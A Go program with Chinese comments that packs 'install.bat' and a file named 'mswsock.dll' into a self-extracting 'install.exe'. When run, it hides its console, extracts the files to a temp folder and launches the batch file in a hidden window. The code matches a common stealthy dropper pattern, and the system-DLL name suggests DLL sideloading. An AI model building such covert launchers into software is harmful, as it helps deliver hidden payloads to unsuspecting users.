package main import ( "archive/zip" "bytes" "encoding/binary" "io" "log" "os" "os/exec" "path/filepath" "syscall" ) //go:generate go run github.com/akavel/rsrc -ico app.ico -o app.syso func main() { hideConsoleWindow() if isSelfExtracting() { extractFiles() return } createSelfExtractingExe() } // 检查自身是否是自解压文件 func isSelfExtracting() bool { exePath, err := os.Executable() if err != nil { return false } exeFile, err := os.Open(exePath) if err != nil { return false } defer exeFile.Close() fileInfo, err := exeFile.Stat() if err != nil { return false } fileSize := fileInfo.Size() // 检查文件末尾是否有zip大小标记 if _, err = exeFile.Seek(-8, io.SeekEnd); err != nil { return false } var zipSize uint64 if err := binary.Read(exeFile, binary.LittleEndian, &zipSize); err != nil { return false } // 验证zip大小是否合理 if zipSize == 0 || zipSize > uint64(fileSize)-8 { return false } return true } func hideConsoleWindow() { kernel32 := syscall.NewLazyDLL("kernel32.dll") proc := kernel32.NewProc("GetConsoleWindow") hwnd, _, _ := proc.Call() if hwnd != 0 { user32 := syscall.NewLazyDLL("user32.dll") showWindow := user32.NewProc("ShowWindow") showWindow.Call(hwnd, 0) // SW_HIDE } } func createSelfExtractingExe() { outputExe := "install.exe" requiredFiles := []string{"install.bat", "mswsock.dll"} // 检查图标文件是否存在 if _, err := os.Stat("app.ico"); os.IsNotExist(err) { log.Println("警告: app.ico 图标文件不存在,将使用默认图标") } for _, file := range requiredFiles { if _, err := os.Stat(file); os.IsNotExist(err) { log.Fatalf("文件 %s 不存在", file) } } zipBuffer := new(bytes.Buffer) zipWriter := zip.NewWriter(zipBuffer) for _, file := range requiredFiles { if err := addFileToZip(zipWriter, file); err != nil { log.Fatalf("添加文件到 zip 失败: %v", err) } } if err := zipWriter.Close(); err != nil { log.Fatalf("关闭 zip writer 失败: %v", err) } outFile, err := os.Create(outputExe) if err != nil { log.Fatalf("创建输出文件失败: %v", err) } defer outFile.Close() stub, err := os.ReadFile(os.Args[0]) if err != nil { log.Fatalf("读取 stub 程序失败: %v", err) } if _, err = outFile.Write(stub); err != nil { log.Fatalf("写入 stub 程序失败: %v", err) } if _, err = outFile.Write(zipBuffer.Bytes()); err != nil { log.Fatalf("写入 zip 数据失败: %v", err) } zipSize := uint64(zipBuffer.Len()) if err := binary.Write(outFile, binary.LittleEndian, zipSize); err != nil { log.Fatalf("写入 zip 大小标记失败: %v", err) } log.Printf("成功创建自解压文件: %s", outputExe) } func extractFiles() { exePath, err := os.Executable() if err != nil { log.Fatalf("获取可执行文件路径失败: %v", err) } exeFile, err := os.Open(exePath) if err != nil { log.Fatalf("打开可执行文件失败: %v", err) } defer exeFile.Close() fileInfo, err := exeFile.Stat() if err != nil { log.Fatalf("获取文件信息失败: %v", err) } fileSize := fileInfo.Size() if _, err = exeFile.Seek(-8, io.SeekEnd); err != nil { log.Fatalf("定位 zip 大小标记失败: %v", err) } var zipSize uint64 if err := binary.Read(exeFile, binary.LittleEndian, &zipSize); err != nil { log.Fatalf("读取 zip 大小失败: %v", err) } zipOffset := fileSize - 8 - int64(zipSize) if _, err = exeFile.Seek(zipOffset, io.SeekStart); err != nil { log.Fatalf("定位 zip 数据失败: %v", err) } zipData := make([]byte, zipSize) if _, err = io.ReadFull(exeFile, zipData); err != nil { log.Fatalf("读取 zip 数据失败: %v", err) } zipReader, err := zip.NewReader(bytes.NewReader(zipData), int64(len(zipData))) if err != nil { log.Fatalf("创建 zip reader 失败: %v", err) } // 将文件解压到临时目录 tempDir := os.TempDir() extractDir := filepath.Join(tempDir, "myapp_install") if err := os.MkdirAll(extractDir, 0755); err != nil { log.Fatalf("创建解压目录失败: %v", err) } log.Printf("正在解压文件到临时目录: %s", extractDir) for _, file := range zipReader.File { if file.FileInfo().IsDir() { continue } rc, err := file.Open() if err != nil { log.Fatalf("打开 zip 中的文件 %s 失败: %v", file.Name, err) } targetPath := filepath.Join(extractDir, filepath.Base(file.Name)) outFile, err := os.Create(targetPath) if err != nil { rc.Close() log.Fatalf("创建目标文件 %s 失败: %v", targetPath, err) } _, err = io.Copy(outFile, rc) outFile.Close() rc.Close() if err != nil { log.Fatalf("写入文件 %s 失败: %v", targetPath, err) } log.Printf("已解压文件: %s", targetPath) } // 运行install.bat(无闪现窗口) runInstallBat(extractDir) } func runInstallBat(extractDir string) { installBat := filepath.Join(extractDir, "install.bat") // 方法1:直接创建新窗口运行(不需要管理员权限时) cmd := exec.Command("cmd", "/c", "start", "cmd", "/c", installBat) cmd.Dir = extractDir cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} if err := cmd.Start(); err != nil { log.Printf("启动install.bat失败: %v", err) } } func addFileToZip(zipWriter *zip.Writer, filename string) error { fileToZip, err := os.Open(filename) if err != nil { return err } defer fileToZip.Close() info, err := fileToZip.Stat() if err != nil { return err } header, err := zip.FileInfoHeader(info) if err != nil { return err } header.Name = filepath.Base(filename) header.Method = zip.Deflate writer, err := zipWriter.CreateHeader(header) if err != nil { return err } _, err = io.Copy(writer, fileToZip) return err }